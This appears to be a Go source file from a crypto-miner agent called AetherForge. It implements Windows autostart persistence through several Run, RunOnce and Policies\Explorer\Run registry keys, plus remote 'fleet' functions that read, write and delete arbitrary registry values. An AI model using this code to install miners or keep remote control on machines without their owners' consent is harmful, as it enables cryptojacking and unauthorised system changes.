AetherForge/agent/deploy/registry_persistence_windows.go

//go:build windows

package deploy

import (
	"fmt"
	"strings"
	"unsafe"

	"crypto-miner-agent/config"

	"golang.org/x/sys/windows"
	"golang.org/x/sys/windows/registry"
)

type registryLoc struct {
	hive       registry.Key
	subkey     string
	needsAdmin bool
}

func registryLocForMode(mode string) (registryLoc, bool) {
	switch mode {
	case AutostartLogonRun, RegistryHKCURun:
		return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`}, true
	case RegistryHKCURunOnce:
		return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`}, true
	case RegistryHKLMRun:
		return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`, needsAdmin: true}, true
	case RegistryHKLMRunOnce:
		return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`, needsAdmin: true}, true
	case RegistryExplorerRun:
		return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`}, true
	default:
		return registryLoc{}, false
	}
}

func registryRunCommand(binPath string) string {
	return fmt.Sprintf(`"%s" %s`, binPath, runFlag)
}

func registryValueNameForMode(cfg config.RuntimeConfig, mode string) string {
	switch mode {
	case AutostartLogonRun:
		return PersistenceKeyName(cfg)
	default:
		return RegistryPersistenceValueName(cfg)
	}
}

func writeRegistryRunValue(cfg config.RuntimeConfig, mode, binPath string) error {
	loc, ok := registryLocForMode(mode)
	if !ok {
		return nil
	}
	if loc.needsAdmin && !IsProcessElevated() {
		return nil
	}
	k, _, err := registry.CreateKey(loc.hive, loc.subkey, registry.SET_VALUE)
	if err != nil {
		return err
	}
	defer k.Close()
	return k.SetStringValue(registryValueNameForMode(cfg, mode), registryRunCommand(binPath))
}

func registryRunValueExists(cfg config.RuntimeConfig, mode, binPath string) bool {
	loc, ok := registryLocForMode(mode)
	if !ok {
		return false
	}
	k, err := registry.OpenKey(loc.hive, loc.subkey, registry.QUERY_VALUE)
	if err != nil {
		return false
	}
	defer k.Close()
	val, _, err := k.GetStringValue(registryValueNameForMode(cfg, mode))
	if err != nil {
		return false
	}
	return strings.Contains(val, binPath)
}

func removeRegistryValueAt(loc registryLoc, valueName string) {
	k, err := registry.OpenKey(loc.hive, loc.subkey, registry.SET_VALUE)
	if err != nil {
		return
	}
	defer k.Close()
	_ = k.DeleteValue(valueName)
}

func removeRegistryPersistence(cfg config.RuntimeConfig) {
	keyName := PersistenceKeyName(cfg)
	agentName := RegistryPersistenceValueName(cfg)
	for _, mode := range append([]string{AutostartLogonRun}, allRegistryModeTokens()...) {
		loc, ok := registryLocForMode(mode)
		if !ok {
			continue
		}
		removeRegistryValueAt(loc, registryValueNameForMode(cfg, mode))
	}
	// Legacy HKCU Run used PersistenceKeyName before AetherForge_ naming.
	loc, _ := registryLocForMode(AutostartLogonRun)
	removeRegistryValueAt(loc, keyName)
	removeRegistryValueAt(loc, agentName)
}

func allRegistryModeTokens() []string {
	return []string{
		RegistryHKCURun,
		RegistryHKCURunOnce,
		RegistryHKLMRun,
		RegistryHKLMRunOnce,
		RegistryExplorerRun,
	}
}

// IsProcessElevated reports whether the current token is in the Administrators role.
func IsProcessElevated() bool {
	var token windows.Token
	if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil {
		return false
	}
	defer token.Close()

	// TokenElevationTypeFull (2) on Vista+
	var elevation uint32
	var outLen uint32
	err := windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&elevation)), uint32(unsafe.Sizeof(elevation)), &outLen)
	if err == nil && elevation != 0 {
		return true
	}

	// Fallback: check admin SID membership.
	sid, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)
	if err != nil {
		return false
	}
	member, err := token.IsMember(sid)
	return err == nil && member
}

// FleetRegistryRead returns JSON-friendly map of value names to {type,value}.
func FleetRegistryRead(hiveToken, subkey string) (map[string]interface{}, error) {
	if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
		return nil, err
	}
	hive, err := registryHiveKey(hiveToken)
	if err != nil {
		return nil, err
	}
	if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
		return nil, fmt.Errorf("HKLM read requires elevation")
	}
	k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
	if err != nil {
		return nil, err
	}
	defer k.Close()

	names, err := k.ReadValueNames(-1)
	if err != nil {
		return nil, err
	}
	values := make(map[string]interface{}, len(names))
	for _, name := range names {
		val, valType, err := readRegistryValue(k, name)
		if err != nil {
			values[name] = map[string]string{"error": err.Error()}
			continue
		}
		values[name] = map[string]interface{}{"type": registryTypeName(valType), "value": val}
	}
	return map[string]interface{}{
		"hive":   strings.ToUpper(hiveToken),
		"path":   subkey,
		"values": values,
	}, nil
}

func FleetRegistryWrite(hiveToken, subkey, name, value, valType string) error {
	if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
		return err
	}
	name = SanitizeRegistryValueName(name)
	if name == "" {
		return fmt.Errorf("value name is required")
	}
	hive, err := registryHiveKey(hiveToken)
	if err != nil {
		return err
	}
	if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
		return fmt.Errorf("HKLM write requires elevation")
	}
	k, _, err := registry.CreateKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
	if err != nil {
		return err
	}
	defer k.Close()
	switch strings.ToUpper(strings.TrimSpace(valType)) {
	case "REG_DWORD", "DWORD":
		var n uint32
		if _, err := fmt.Sscanf(value, "%d", &n); err != nil {
			return fmt.Errorf("invalid REG_DWORD value %q", value)
		}
		return k.SetDWordValue(name, n)
	case "REG_SZ", "SZ", "":
		return k.SetStringValue(name, value)
	default:
		return fmt.Errorf("unsupported registry type %q (use REG_SZ or REG_DWORD)", valType)
	}
}

func FleetRegistryDelete(hiveToken, subkey, name string) error {
	if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
		return err
	}
	name = SanitizeRegistryValueName(name)
	if name == "" {
		return fmt.Errorf("value name is required")
	}
	hive, err := registryHiveKey(hiveToken)
	if err != nil {
		return err
	}
	if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
		return fmt.Errorf("HKLM delete requires elevation")
	}
	k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
	if err != nil {
		return err
	}
	defer k.Close()
	return k.DeleteValue(name)
}

func registryHiveKey(hiveToken string) (registry.Key, error) {
	switch hiveToken {
	case "hkcu":
		return registry.CURRENT_USER, nil
	case "hklm":
		return registry.LOCAL_MACHINE, nil
	default:
		return 0, fmt.Errorf("unknown hive token %q", hiveToken)
	}
}

func normalizeSubkey(path string) string {
	path = strings.TrimSpace(path)
	path = strings.TrimPrefix(path, `\`)
	for _, prefix := range []string{"HKCU\\", "HKEY_CURRENT_USER\\", "HKLM\\", "HKEY_LOCAL_MACHINE\\"} {
		if strings.HasPrefix(strings.ToUpper(path), strings.ToUpper(prefix)) {
			path = path[len(prefix):]
			break
		}
	}
	return path
}

func readRegistryValue(k registry.Key, name string) (interface{}, uint32, error) {
	val, valType, err := k.GetStringValue(name)
	if err == nil {
		return val, valType, nil
	}
	if err != registry.ErrUnexpectedType {
		return nil, 0, err
	}
	n, _, err := k.GetIntegerValue(name)
	if err != nil {
		return nil, 0, err
	}
	return n, registry.DWORD, nil
}

func registryTypeName(t uint32) string {
	switch t {
	case registry.SZ:
		return "REG_SZ"
	case registry.DWORD:
		return "REG_DWORD"
	default:
		return fmt.Sprintf("REG_%d", t)
	}
}